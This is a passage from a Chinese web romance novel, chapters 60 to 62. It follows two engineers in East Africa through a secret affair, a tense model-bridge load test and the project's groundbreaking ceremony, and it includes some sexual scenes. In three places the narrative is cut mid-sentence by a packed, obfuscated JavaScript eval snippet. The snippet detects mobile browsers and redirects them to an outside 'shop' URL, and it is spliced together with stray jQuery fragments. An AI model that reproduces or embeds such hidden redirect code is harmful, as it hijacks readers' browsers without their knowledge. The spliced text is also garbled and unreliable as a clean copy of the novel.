“有,你等等。”钟琂走下床,把手机拿过来,找出一张照片拿给沈时因看,“这是前年春节的时候,我们在家门口拍的全家福。” 沈时因躺在床上,和钟琂的头靠在一起。钟琂的父母是很儒雅的长相,一看就很有学识。照片背景是一栋颇具设计感的现代风别墅,院子里种满了鲜花树木。沈时因觉得这张照片就是放在财经杂志的封面上也不会有丝毫违和。 看完照片,沈时因坐起身拿出自己的手机,翻出一张自己和外婆的合照。 “我也给你看看我的外婆,这是我出发来非洲之前梁冉给我们拍的。对了,梁冉是我最好的朋友,这个小兔子就是她送给我的。” 钟琂接过她的手机,很认真地端详了一会儿,“看上去很和蔼。而且她一定很舍不得你,照片里紧紧握着你的手,神色也有些动容。” 互相交换完全家福,他们重新躺了回去,还是头挨着头。 钟琂说:“那我现在回答第二个问题。我以前没谈过恋爱,所以感情经历是一片空白。” 沈时因惊讶地用手支着下巴,难以置信地问:“你以前真的从来没交过女朋友?那有没有以交往为目的的dating?” “也没有。” 沈时因以为钟琂是很受异性欢迎的人,事实上他也的确很受欢迎,只是以前他满脑子都是学习和事业,没考虑过这些,更没主动喜欢过谁。 要不是亲身体验过,沈时因都要怀疑他是不是有什么隐疾了。 既然是一片空白,那也就没什么好展开细说的。钟琂自动进入下一个问题,“我每天做的事情……开会、画图、和你做/爱,睡完觉起来又重复一遍开会、画图、和你做……” “等等,你先等等。”沈时因捂住钟琂的嘴,她支起上身,在黑暗里与他对视,“你别想诱惑我,我才不上你的当。” 钟琂不说话了,但眼睛还是亮亮的,仿佛在欲说还休。 沈时因收回手,很严肃地开口:“我问你,你是不是还有事瞒着我?你跟张工意见相左,而且你的第一版方案很有可能被推翻。” 钟琂顿了顿,“谁告诉你的?” 他这样就算变相承认了,沈时因泄气般再度躺了回去,嘴里念念有词:“因为我很可爱,而且与人为善,所以大家都喜欢跟我说话。只有你不喜欢,你什么都不告诉我。这么大的事连提也不提,我也为这个方案付出了很多,每天睁开眼就在想需要内置多少的钢筋和钢结构才能维持它的稳定性,可你就这么眼睁睁地看着我做无用功。” 钟琂伸手把沈时因捞过来,抱着她说:“我知道。” “你知道什么?”沈时因的脸抵着钟琂胸口,声音也变得有些发闷。 “我知道你很可爱。” “……”沈时因深吸了一口气,她很想发火,但最后还是忍住了。 “你做的不是什么无用功,都是至关重要并且会被用到的。因为我的方案不会被否决,国内的大学答应会造一个实体模型做静载实验,这会证明我是对的。” 沈时因闷声问:“你就这么自信?” “跟自信无关。这是无数个实实在在的数字组合在一起,经过上百次计算和演练之后得出的结论。它很确定。” 60.第 60 章 或许是因为钟琂的语气太过肯定,沈时因也受到影响,开始坚信自己正在做的事是对的,并且一定会成功。 钟琂身上好像有魔力,能给身边的人带来安宁与平静。还有一种只要把事情交给他就绝对不会搞砸的安心感。 沈时因本来还想和他提一提白天无意中听到有人在背后议论他的事,但现在也觉得没什么必要。钟琂不会在意那些乱七八糟的议论,他是一个心中只有前路的人。 钟琂把手搭在她身上,柔声问:“还聊吗?” “还聊。”沈时因想了想,“你可以再给我讲讲你的压力和你的烦恼,如果有的话。” 沈时因等了一会儿,没有等来钟琂的回应。她转头头一看,钟琂竟然已经睡着了。 看来这个问题的答案已经有了,他的烦恼就是睡眠不够。 沈时因无声地笑了笑,轻手轻脚地帮他盖好被子。 第二天钟琂还是起得比沈时因早,她睁开眼睛的时候看见钟琂正神清气爽地坐在桌边吃三明治,旁边还摆着另一份,应该是给沈时因准备的。 对上一脸睡眼惺忪的沈时因,钟琂轻声说:“今天来不及出门去买小笼包了,你随便吃点。” 沈时因慢悠悠地跻拉着拖鞋走下床,正伸懒腰,又听得钟琂催促道:“如果你想跟我一起过去的话就快点,我一个小时后跟国内高校有个视频会。” 沈时因当即加快了洗漱和换衣服的步伐。出门前,她拿起三明治打算在路上吃,刚坐上车就发现钟琂正偏头看她。 沈时因:“……我会注意的,绝对不会掉渣。” “我不是这个意思,”钟琂笑起来:“你不用吃这么快,小心点别噎着。” 钟琂做的三明治是两片切了边的吐司夹着鸡蛋和生菜,味道说不上好,也不能说不好,总体概括就是没什么味道。这就是钟琂做饭的一贯准则——能吃就行。 去的路上,钟琂难得听起了广播,国内发布了行业新规,对脚手架上的碗扣型号和数值做出了一些细微改变。 不带任何感情和起伏的人声播报结束,沈时因也刚好吃完早饭。剩下的时间钟琂都一言不发,也不知是在想刚才听见的行业新规还是在提前思考接下来的会议。 这一天的上班期间沈时因都没能再见到钟琂,连张士明和曹光也没怎么露面,她好几次路过中心会议室都能看见房门紧闭,她猜想里面大概正在进行激烈的争执。 好在钟琂还是在正常的时间下班了,回程路上,车里还是只有他们两个人。沈时因侧着头看了钟琂好几眼,问道:“结果出来了吗?” 钟琂还在想事情,冷不丁被这么一问,他有点没听清,“什么?” “实验的结果。”沈时因还以为失败了,脸色也跟着沉了下去。 “哦,模型还没做好。应该是明天做实验,到时候会全程连线。” 沈时因刚松了一口气,下一秒心又揪起来。按理说,这应该是一个很紧张的时刻,但钟琂看上去一点都不紧张。 快到园区的时候沈时因问:“那你今天晚上是不是没什么事?” 钟琂:“应该是,现在就剩下等了。” “那晚上要不要一起吃饭?”沈时因问。她一般是自己一个人去食堂解决晚饭,或者跟胡定荣一起,有时候累了也会回宿舍用小锅下点面条吃。 钟琂没怎么犹豫地答应下来,“行,你想吃什么?” 沈时因考虑了半天,没想出来。她反倒有点怀念上次雨天两个人一起窝在房里煮火锅了,“火锅怎么样?就是需要买点菜。” “可以,那我们一起去超市。不过我得先回去一趟放东西。” “回哪里,办公室?”沈时因问。 “不是,回住处。”说话间,钟琂已经停好了车,他从后座拿起一沓资料,“你先在车里等我。” 沈时因紧随其后地拉开门下车,往前急追了几步,“你先等等。” 钟琂缓缓侧身,“怎么了?” 沈时因走到他旁边,朝前走着说:“我跟你一起上去吧,你拿那么多东西不好开门。” “不用,我们宿舍一般不锁门,一拧就开了。” 沈时因说:“那我也想上去看看。这么久了,我还没去过你的宿舍。” 钟琂从沈时因追下车以后就站在原地没动。他抬头看了看宿舍楼,口中依旧是不容置缳的拒绝:“没什么好看的,张工就住我旁边,他经常过来找我。我们这样容易被人看见。” 沈时因僵立当场,许久没能再说出话来。末了,她听见钟琂说:“不想在车里等可以先去超市,我一会儿过来找你。” 说完,他转身离开,只留沈时因一个人还留在停车场。 沈时因的双腿就像灌了铅,她不太确定是不是自己太敏感了,但白天这个冷淡疏离的钟琂和晚上的他好像不是同一个人。晚上的他当然有理由热情,因为要和她一起翻云覆雨。 前一天的顾虑再度涌上心头,沈时因脑子里一团乱,挪动脚步无知无觉地往前走。等她反应过来的时候才发现这根本不是去超市的路,她已经快走到女生宿舍的楼下了。 想到一会儿还要面对钟琂,心烦意乱的沈时因突然打起了退堂鼓,干脆拿出手机给钟琂发信息:【我觉得有点累,不太想吃饭了。】 沈时因站在楼下等回信。她想,如果钟琂执意要过来找她,那她就还是退让一步,跟他一起去买菜和吃饭,毕竟这是她先提出的。 没过多久,钟琂回信息了,回得很简短:【好,那你早点睡。】 沈时因在看见信息内容的那一刻就抬步走进了宿舍楼,她还是没坐电梯,一路走楼梯走得铿锵有力。 打开门回到房间,她拿出手机噼里啪啦地打字:【那我现在就要睡了,你晚上也别过来。】 发送成功,沈时因烦躁地把手机扔到床上,坐到书桌前用手捂住脸。 等她终于把气喘匀了,心情也渐渐平复下来。沈时因站起身,从床上找到手机,钟琂没再回复。她坐回书桌前,把手机放在支架上,给梁冉拨去了视频。 梁冉接起的时候正躺在床上,像是准备入睡,但她还是很兴奋地挥手道:“因因!” 沈时因勉强扯出个笑脸,“你那边已经很晚了吧,你是不是打算睡了?” 梁冉本来确实准备睡觉,但她多了解沈时因啊,一看她这状态就知道不对,连忙摆手说:“没有没有,你怎么了?” 沈时因垂着眼,本来想跟梁冉好好倾诉一番,可真正接通了,她又不知道该从何说起。 “你是不是受什么委屈了,还是有谁欺负你了?”梁冉着急地问。 “没有……”沈时因深吸一口气,郑重其事地说:“其实最近发生了一些事,我还没来得及通知你。我谈恋爱了。” “真的?”梁冉在屏幕那头手舞足蹈,“什么时候的事?他是你的同事?哪一年的,跟你年龄是不是差不多,有照片吗,快发给我看看!” 沈时因被这一连串的问题打得措手不及,她退出视频界面,从公司官网里找了一张钟琂的照片,给梁冉发了过去。 “哇,好帅!没想到非洲这么藏龙卧虎,”梁冉仔细观察这张照片,很快就发现了端倪:“这是在开会吧,他怎么坐在最中间,他职位很高?” 沈时因点了点头,“他算是我的顶头上司。” “这样啊……”梁冉当即就有点不赞同,“会不会有点尴尬,分手之后他给你穿小鞋怎么办?” 沈时因噗嗤一声笑开了,“我们才刚在一起,你怎么想得那么长远。” “你们刚刚确定关系?” 沈时因认真算了算,“有两个月了。”这个时间刚好足以让新鲜感褪去,她不再被感情和欲望蒙蔽,开始思考一些现实问题,“关于这段关系,我觉得有点不对劲……” 梁冉问:“是不是在一起之后发现性格不太合适,或者你感受不到对方的喜欢?” “也不是,”沈时因逐条分析起来,“首先,我们好像除了上床,基本不做别的。但你也知道非洲基地情况特殊,我们没什么条件出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985939|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约会,他平时也不是热络的人。可也恰恰是因为这份特殊,他周围没什么同龄女生,我就在想他会不会是出于这个目的才跟我在一起。” “你怀疑他只是为了解决生理需求?”梁冉很快就找出了症结所在,“可是也不能这么轻易下结论吧,如果喜欢一个人就是会想要和对方有身体接触啊,我最开始和郑意成在一起也这样,第一个月都没怎么下床……总之我觉得还是要具体问题具体分析,你想想他在床上是怎么对你的,是单纯泻火还是会考虑你的感受?你在整个过程中是不是舒服和享受的?” 沈时因回忆半晌,觉得确实有点误会钟琂了,“那我还是舒服的,他很有服务意识,也会顾及我的感受。” 虽然暂时想通了,但沈时因的脸色还是没有舒展开。她又说:“我也不喜欢每天都在床上等他,这太被动了。我刚才提出想去他的宿舍,但他拒绝了,怕被人看见。” 梁冉不太理解地挠了挠头,“也就是说你们还没在同事面前公开?可你们这一行不是没那么多讲究嘛,不仅允许办公室恋情,你之前还说情侣能申请夫妻房。你们要是能住一起多好,久能在异国他乡互相扶持,守望相助。” “虽然话是这么说,但那种情况一般都是翻译或者资料员,没有直接的上下级关系。我们之间有明显的利益相关,所以我觉得还是不要公开比较好,免得落人闲话。”沈时因回想起钟琂刚才的态度,嘟囔道:“而且他应该也不想公开。” 梁冉问:“那到底是你不想公开还是他不想?” 沈时因嗫嚅道:“都有吧……” “因因,”梁冉的语气突然严肃起来,“你们不会根本就没商量过吧?” 沈时因没说话,低着头掰弄手指。落在梁冉眼里,这就是在默认。 “那你们以后打算一起回国吗?你上次还说再过五六年赚够了钱就能回国,他是不是跟你一起回来,你们聊过没有?” “我不知道他是怎么打算的,其实他的家人也不在国内……总之现在讨论这些还为时尚早,我们才刚在一起。” 沈时因心里又有些发闷,她接着说:“我还在想是不是我太贪心了,既然享受了他的好,自然也应该包容他不好的一面。比如说他太迟钝,对别人的情绪常常感知不到,也不会表达感情,可他就是这样的人……” “等一下,”梁冉打断沈时因的话,“我有个疑问,他不会还没正式对你表白过吧?” 沈时因周身一滞,没去看梁冉的眼睛,低着头说:“……其实最开始是我主动的。” 梁冉眉头紧锁,聊到这个地步,她越发觉得情况不容乐观,对沈时因这个不知名男友也没什么好印象。 “你再详细说说,你们这两个月都是怎么相处的。” 沈时因突然有种被审问的错觉,她正襟危坐着,描述道:“就是刚刚跟你说的那些啊,我们白天一般各忙各的,晚上会睡在一起。不过往返工地的路上我们也会同行,他特别喜欢叫我的名字,但都是连名带姓地叫,显得很生分,一点都不亲昵。我有时候当真他的面放外婆的语音,他明明都听见外婆叫我‘因因’了……” 沈时因搜肠刮肚地回忆与钟琂相处的细节,“不过这两个多月总体来说还是开心的,他也不是完全的……” “等一下,”梁冉再次适时打断,“你们到底是在一起了两个月还是两个多月,具体哪天确定关系的?” 这个问题把沈时因问住了,她茫然地说:“我只能记得大概时间。” “他也没记?”梁冉追问道,“这个日子很重要的,如果你们都不记那怎么过纪念日?还是说他根本就不上心,也没打算送礼物准备惊喜?” “他很忙的,哪有闲工夫记这些。”沈时因越说越小声:“更何况我也不在意这些。” 梁冉已经满脸都写着“恨铁不成钢”,她气得掀开被子盘腿坐了起来,“沈时因,你不会被夺舍了吧!你现在一点都不像我以前认识的那个因因,你就不能拿点乔吗,人都快要把你吃干抹净了,你还在帮他说话!” 61.第 61 章 梁冉怎么想都觉得不对劲,“非洲不会有什么奇门邪术吧,他找你借钱了吗?” “没有……你想到哪里去了,这不是杀猪盘!”沈时因说:“而且他根本就不缺钱,来非洲工作也不是为了钱。” “这种鬼话你怎么也信,不为赚钱,那难道是为了做慈善?” 沈时因有些啼笑皆非,“还真被你给说对了,他就是为了做慈善。” 梁冉看沈时因的眼神逐渐变得不可理喻,“不行,我实在放心不下。我得来趟非洲会会你这个男朋友,但我单位估计不会批,你什么时候把他带回国吧,让我们这帮娘家人亲自审一审。” 沈时因思忖着说:“最近应该没什么回国的机会,现在正是忙的阶段。” “那你……”梁冉欲言又止地问:“真的特别喜欢他?” 沈时因点头,“特别喜欢。” 梁冉仿佛下了很大的决心,“那只要你喜欢就好,但是千万要保护好自己。你找男朋友也别光看脸,还是得找个对你好的人。” 沈时因说:“我知道,我心里有数的。” 梁冉第二天还要上班,她们没怎么再继续聊下去。挂断视频,沈时因坐在书桌前出了很久的神。 事情好像并没有得到解决,反而更让人心中憋闷了。梁冉是她的好朋友,当然会无条件地站在她这边,也看不得她受一点委屈。梁冉的态度很明确,就是在劝分,可这不是沈时因想听到的话,所以最后演变成了她在给钟琂说话。 人们常说置身于感情中的人容易当局者迷,原来钟琂的表现落在别人眼里并不是一个合格的男友…… 这难道不是沈时因早就已经心知肚明的吗,现在尘埃落定了,她才明白自己根本就丢不开手。即使清醒着,她也想沉沦进去。 沈时因拿起睡衣,走到浴室打开花洒洗澡。她现在是真的没什么食欲吃饭了,水流从头淋到脚,室内雾气蒸腾,一切都变得迷蒙、不真实。 吹完头发,沈时因把电脑带到床上,把小兔子垫到后背,找出一个综艺节目看。这也是梁冉给她推荐的,据说每期都能把人的眼泪笑出来。 房里的光源只剩一盏夜灯,沈时因把电脑的音量开到一个刚好能听见的程度,刚看了个开头,钥匙转动锁芯的声音传进了她的耳里。 沈时因在第一时间合上了电脑,有人在试图开她的门。 唯一有钥匙的人就是钟琂了,正在开门的人也大概率就是他。沈时因陷入了一阵没由来的慌乱,在门被推开的那一刻,说时迟那时快,她飞快将电脑塞到枕头下面,人也迅速卧倒。 进来的人果然是钟琂,他提着一个塑料袋,放轻脚步走到桌边放下,然后返回到床边,借着一点小夜灯的光亮撩开蚊帐。 正在装睡的沈时因感觉到一个有些冰凉的东西被放进自己的耳朵,紧接着是“滴”的一道声音。 她鬼鬼祟祟地掀开一点眼皮,看见钟琂正站在床边,手里正拿着个东西研究。沈时因假装被吵醒,说话时还带着点懒音:“你怎么来了?” “我来看看你是不是病了。”钟琂还在看手里的耳温枪,上面显示的是一个正常范围内的数值,这说明沈时因没有发烧。 说完,他再度掀开蚊帐,把自己的额头贴了过来,像是在感受温度。 沈时因的心脏都快骤停了,她被钟琂抵着,一动也不敢动,只听见他离得很近地问:“我把你吵醒了?” “没……没关系,”沈时因打起了磕巴,“我本来也没睡得多熟。” 钟琂像是彻底确认了她没有在发烧,他退出了一点,把床头的夜灯调暗。 沈时因拥着被子坐起来,有气无力地问:“你过来怎么也不提前说一声?你是不是没看手机,我都让你别来了。” “我看见了。你说你要睡觉,我再回信息不是反而会吵到你么。”钟琂把蚊帐合上,他走过去烧水,沈时因还听见了洗菜和切菜的声音。 事到如今,沈时因本着演戏演全套的原则,愣是坐在床上没下来。 没过多久,食物的香气飘了出来,是沈时因本来想吃的火锅。 “你还是去买了菜?”沈时因隔着蚊帐问。 “嗯,买了点你爱吃的。”钟琂把食材都放进去,走到床边说:“不想吃就不吃,我主要是怕你晚上会饿,留着应急的。” 钟琂打算等煮开了就调到保温模式,这样沈时因睡到半夜如果饿了就能吃。 他把手伸进来摸了摸沈时因的额头,“你怎么这么热,别总裹着被子。还是说你没把头发吹干?” 沈时因觉得应该是后者,但她什么也没说,任由钟琂不知道从哪找了张棉柔巾给她擦汗。 “钟琂。” 钟琂手里的动作没停,“嗯?” “你喜欢我吗?” 钟琂想也没想,语调上扬地说:“喜欢啊……” 他的语气很自然,也很理所应当,还有点莫名,仿佛在疑惑:这还用问? 忽然,汤水沸腾时顶开锅盖的声音响起,钟琂赶紧走过去,“煮开了。” 他把小锅的模式调成保温,维持在一个能冒泡但不至于火力太大的程度,然后定时两个小时自动断电。 “再过几分钟就能吃了,如果凉了你就热一热。”钟琂四处检查了一遍,看有没有蚊子,再看有没有壁虎。 巡视一圈之后,钟琂说:“那我走了,你好好休息。” 单人宿舍配备的都是单人床,虽然他们平时睡在一起,但真正需要休息的时候可能还是会有点拥挤。 钟琂没得到回应,以为沈时因又睡着了,于是拿起纸笔在桌上留了张字条。 门被轻轻阖上,房间里重归寂静。沈时因重新躺了回去,一直用被子蒙着头,这时候才探出脑袋,确定钟琂已经走了。 她走下床拧开台灯,打开了热气腾腾的锅,拿出碗筷,独自对着窗户开始吃这顿已经能称得上夜宵的晚饭。 沈时因吃的时候在想,梁冉说让她拿点乔,可她不确定自己刚才那样算不算拿乔。梁冉还说要找个对自己好的人,沈时因想,钟琂愿意去买她喜欢吃的菜,煮一顿她不一定会吃的火锅,那至少能说明他还是有一点在意她的。 想到最后,沈时因破罐子破摔地想,被拿捏就被拿捏吧。谈恋爱又不是什么考试比赛,她不需要随时将钟琂的一言一行都记录下来,计算他对自己的爱和付出有几分,虽然都说旁观者清,可鞋子只有穿在自己脚上才知道合不合适。 * 第二天是一个很重大的日子,大桥模型的静载实验要在这天进行,这关系到钟琂是否需要重新设计一版新的设计图。 沈时因早早地起床,收拾完下楼的时候钟琂已经在车里等她了。 “你今天感觉怎么样?”钟琂还在担心她有没有生病。 “很好。”沈时因系好安全带,活力满满地说:“出发吧。” 钟琂踩下油门,车子驶出园区,也就是经过他们之前谈话的小山坡时,他缓缓缓缓停下了。 钟琂挂挡熄火的动作一气呵成,只有沈时因很茫然,“怎么突然停车了?” 钟琂在想,他好像有很久都没有亲过沈时因了,到了工地现场又会是一天的“形同陌路”。万一实验的结果不好,他就又要开始暗无天日的加班画图。 沈时因能感觉到钟琂看她的眼神不太对,车里的空气也变得粘稠,互相的熟悉程度足以预知接下来会发生什么。下一刻,钟琂欺身过来,右手捧住了她的脸,就像不会再有机会那样与她耳鬓厮磨。 沈时因闭着眼睛,她回应着钟琂的吻,好几次都吸吮住他的舌尖,与他密不可分地交缠在一起。 一吻结束,沈时因靠在座椅上,手里抓着扶手轻轻喘气。钟琂点燃火踩下油门,重新汇入车流之中。 就在他们行驶的终点,也就是现场办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006342|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区,以张士明为代表的一众员工已经面色凝重地坐在了会议室。 连线即将开始,但钟琂还没到。张士明频频看表,躁动的情绪逐渐在众人脸上蔓延。 坐在张士明左侧的人咂了咂嘴,主动开口道:“钟琂是不是又跟那个沈工一起?上次开研讨会也是,一到六点半就要走,一刻都等不了。现在也不知道出发了没有。” 另一个惯常与他一唱一和的中年人说:“天天开车往返,也不嫌累得慌。人家沈工是女孩子,住不惯情有可原,钟琂一个大男人,怎么也这么瞎讲究?” 他故意说得拿腔拿调,言下之意是钟琂太娇生惯养,吃不了一点苦。 “呵,你们可别这么说。说不定是人小姑娘看上钟琂了,天天缠着他不放。” 这话一出,几人之中小范围地爆发出嗤笑声。 张士明一个眼刀过去,不留情面地斥道:“都少说两句。” 没过多久,会议室的门被打开,钟琂大马金刀地走进来,径自坐到张士明的另一侧。他一进来,原本那几个爱说闲话的人全都鸦雀无声,盯着自己面前的电脑屏幕,头也不敢抬一下。 连线时间也正好到了。张士明整装肃容,按下了接通按钮,十几个人组成的教授团队出现在画面里。 洁白如新的实验室里,他们旁边放着的是按照设计图复刻出的大桥模型。其中锚具材料使用经热处理与表面改性超高强韧化技术的碳低合金钢,斜拉悬索采用白帆造型,纤细轻盈得像一条条飘带,水里还根据实际情况制造了人工洋流。 光是这一模型就造价不菲,如果通过实验,那么它将会进入博物馆永久保存。 在做过初步的介绍和展示之后,实验人员打开模拟的风浪按钮。这样的冲刷节奏比正常海浪快了好几倍,紧接着,第一个重物被放了上去。 按照比例和荷载,它模拟的是一千吨的重量,随着轮胎缓缓碾过“桥面”,后续的大吨位重物也被紧随其后地放了上来,这又是一个一千吨。 实验将持续一整天,考察的不仅是承受荷载的能力和抗倾覆性能,还有抗风抗震抗腐蚀、排水供电,当然最重要的还是稳定性。 在场的所有人全都屏息凝神,不出意外的话什么都不会发生,但只要出了意外,那就是一瞬间的事。 其他基地人员也都按耐不住,到了下午,他们陆续涌进会议室,挤挤挨挨地站在大屏幕前观看,这其中也包括了沈时因和胡定荣。 沈时因一瞬不瞬地盯着画面里的大桥模型,大气也不敢出。每次加上新的荷载,她的心总会漏跳一拍,等画面稳定下来,她的呼吸才会跟着变得顺畅。 模型旁边的计时器数字还在不断变化,沈时因知道,当那个数字变成“12”才意味着实验结束,也就是要经历整整十二个小时。 沈时因站得双脚发酸,她好几次分神看向最前面的钟琂,他都是一派冷静怡然的模样,手边还放着一杯咖啡,仿佛这件正在被万众期待的事其实与他无关。 当时间超过十一个小时以后周边氛围明显变得有些躁动不安。模型在制作过程中所用到的材料和结构方式与钟琂的设计图完全一致,但实验中所制造的困境都是极端情况,是实际生活中会产生的三倍不止,这就意味着越进行到后面,风险系数也就相应地拉到最大。 站得密不透风的会议室里,除了来自祖国实验室里的风浪声,整个集体都陷入了一种寂静无声的焦灼状态。 时间的流逝变得很慢,计时器上每一次数字的变化都像打在人的心里。 当最前方的数字跳到“12”时,沈时因怀着激动与不安的心情看向依旧稳固挺立的大桥模型。紧接着,身边爆发出雷鸣般的欢呼与喝彩。 最前面的钟琂依旧神色淡然,他站起身与张士明握了下手,互相进行了一个友好的展望。他随即往外走,路过沈时因的时候,钟琂不疾不徐地说:“走,下班了。” 62.第 62 章 回去的路上天已经全黑了,但沈时因仿佛还置身于刚才的热烈氛围里。刚刚发生的事意味着方案可行,并且它的每个环节都已经细致到足以即刻开工。不仅节省了工期,他们这段时间的辛苦努力也没有白费,而且还能最大限度保留大桥优美轻盈的设计。 钟琂这一路上都在接张士明的电话,他们已经由争吵的对立方迅速变回了齐心协力的伙伴。张士明是个拿得起放得下的人,既然已经证明这套设计方案可行,那么他就会在第一时间把之前的不愉快抛诸脑后,满心满眼都放在了后续的具体实施上。 “当地的材料商我还是不太放心,要订货就从国内厂家订,发海运,到时我们一起去港口验收。” 沈时因听见钟琂在捋材料的事。他也从来不会沉溺于情绪之中,不管好的还是坏的,既然事情已经尘埃落定,那么只需要一心想着该如何推进。 开工在即,新的施工队肯定也要进场了,他们这个队伍即将面临壮大,要考虑到的事情有很多。比如生活区要扩建,起码再新修一栋临时楼房,应急和现场的预案也要准备和操练起来。 水下的事,特别是海里谁也说不清,还得雇一批专业队伍去进行水下勘测。也需要和当地的生态保护机构取得联系,怎么能在施工过程中最大程度地保护水下生态是一项重中之重。 电话那头,张士明持续不断地敲击键盘,光是待办事项就列了三张a4纸。钟琂却还是悠闲自得地开着车,眉头都没皱一下。纵是有千头万绪的事情到了他这里都不至于一团乱麻,一件一件地去解决就好了。 快到园区的时候钟琂看了看时间,挂断电话,对沈时因提议道:“食堂估计没什么吃的了,我们要不要在外面吃?” 有了上次的经历,沈时因已经不是太害怕在园区之外的地方活动了。她说:“好,但你不要丢下我一个人。” 钟琂很轻车熟路地拐到一家还在营业的烤肉店,他牵着沈时因的手走进去,找了个露天的座位坐下。 “这是一家很有名的烤肉店,我以前跟朋友来吃过。”钟琂把菜单递过来,让沈时因先点。他用手机编辑了一些自己目前所需要的人力、物力和财力,按照轻重缓急排序,给张士明发了过去。 沈时因看着菜单,第一次怀疑自己的英文水平,“怎么还有鸵鸟肉和鳄鱼肉啊……” “这是百兽宴,动物都是人工饲养的。你要是害怕就点些普通的。”钟琂说。 沈时因万万没想到,好不容易克服了下车的心理恐惧,又在点菜这里卡壳了。她索性把菜单递回去,“那你点吧,我需要做一下心理建设。” 店里灯光昏暗,只有些烛火影影绰绰,沈时因和钟琂坐在最角落的位置。在上菜之前,他们靠在一起咬耳朵,钟琂低声问她:“我今天能来过夜吗?” 沈时因说:“今天可以,但明天就不一定了。你最好每次过来之前都提前给我报备,我不想总是等你。” 钟琂好像从来都不知道等待其实是一件很折磨人的事,他说:“好,那我一会儿直接跟你一起回去。” 到了这个地步,沈时因也摸索出了一些与钟琂相处的方式。他这个人最忌讳拐弯抹角和言不尽意,想说什么最好能直接给出指令,这样他才能准确无误地接收到。 沈时因没再说话,正好烤肉也到了。服务员竟然还会说不太标准的中文,在上菜时让他们好好享用。 沈时因用叉子戳起一块肉,好奇地问钟琂这是什么。 “如果是鸵鸟肉你就不吃了?” “不是,”沈时因说:“我会吃的。但我必须得知道我吃下去的是什么。” 钟琂只点了一小份鸵鸟肉,而且还是最后上的。他把这一份单独放在一边,沈时因很小心地夹起一块放进嘴里,品味半晌才说:“其实吃起来跟普通的肉没什么不同。” 吃完饭,他们回到沈时因的宿舍。钟琂走进浴室洗澡,沈时因本来想把新买的洗发水拆开放进去,但浴室实则是一个有去无回的地方,最后演变成了她和钟琂一起洗。 沈时因被钟琂抱到床上,钟琂趴在她身上,沿着那些起伏沟壑一路亲吻,沈时因推了一下他的肩膀,“我有件事想问你。” 钟琂含混地“嗯”了一声。 “你以后有什么打……”沈时因“算”字还没来得及说,钟琂突然就进来了。她的声音随之变了调,变成了婉转的嘤咛。 钟琂覆了过来,偏着头亲她的耳垂,“以后什么?” 沈时因已经没有余力去想别的了,她语不成调地说:“我忘了……” 沈时因的思绪逐渐飘远,直到被一片空白所替代。她浑身抖得厉害,不受控制地感受着那股浪潮,还有始终紧紧抱着她的钟琂。 钟琂几乎没有不应期,等一波接着一波的余韵过去,沈时因整个人虚脱得像从水里捞出来的。 “你刚才想问什么?”钟琂抱着沈时因又进了一趟浴室。 花洒里的水柱落在沈时因身上,她反应了一会儿才想起来:“你以后就打算一直留在非洲了?” 钟琂笑了笑,语气还是那么理所应当,“不然呢?” 是啊,不然呢?沈时因忽然觉得这个提问很可笑,她怎么能自以为是地去跟整个非洲大陆、跟钟琂的人生理想做比较呢。 当初正是因为见到了钟琂柔软的一面,体会到他对建设这片大陆的热忱才会无法抑制地喜欢上他,现在钟琂就在她面前了,她开始不知餍足地想要求一个永远。凡事没有这样的道理。 * 淅淅沥沥的雨季就像一只候鸟,依依不舍地扇着翅膀飞去了远方。七月一到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022111|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个东非变得天朗气清,连着许多天都是晴空万里。 项目部上下也都是一片欣欣向荣的状态,张士明特地选了个良辰吉日举行开工仪式。 虽然身在海外,但心还是一颗中国心。仪式现场早早地被铺上红地毯,海面上也升起横幅,到处都是鲜花礼炮,台上还放着开工锤和香烛,誓要讨个好彩头。当地电视台的人也来了,只不过国内的纪录片团队没赶上,据说正在南非拍摄自由贸易对接。 吉时一到,管弦乐队慷慨激昂地奏起交响乐。一旁的胡定荣看得呆了,对沈时因说:“张工还真是个能人,这都从哪请来的这些各路神仙,怎么还会吹唢呐?” 沈时因循声看过去,只见吹唢呐的黑人旁边还有一人在打腰鼓。 乐队演奏完,又是一阵气势恢宏的礼炮声。张士明看时间差不多,把各路人马全都统筹到了一起,指着身后的海面说:“看,这里就是未来要建成大桥的地方,我们先在这儿拍一张,等建成之后再拍一张。” 站在旁边的钟琂被拉到了中间,他不太习惯拍这种大合影,人潮挤来挤去,他和张士明始终被簇拥在中心。 沈时因也是人潮中的一员,她远远眺望着,找寻钟琂的位置。只是没人会在意她的站位,她和胡定荣只能站在最外沿,努力挤进取景框。因为被前面的人挡住,沈时因还在按下快门的那一刻踮起了脚。 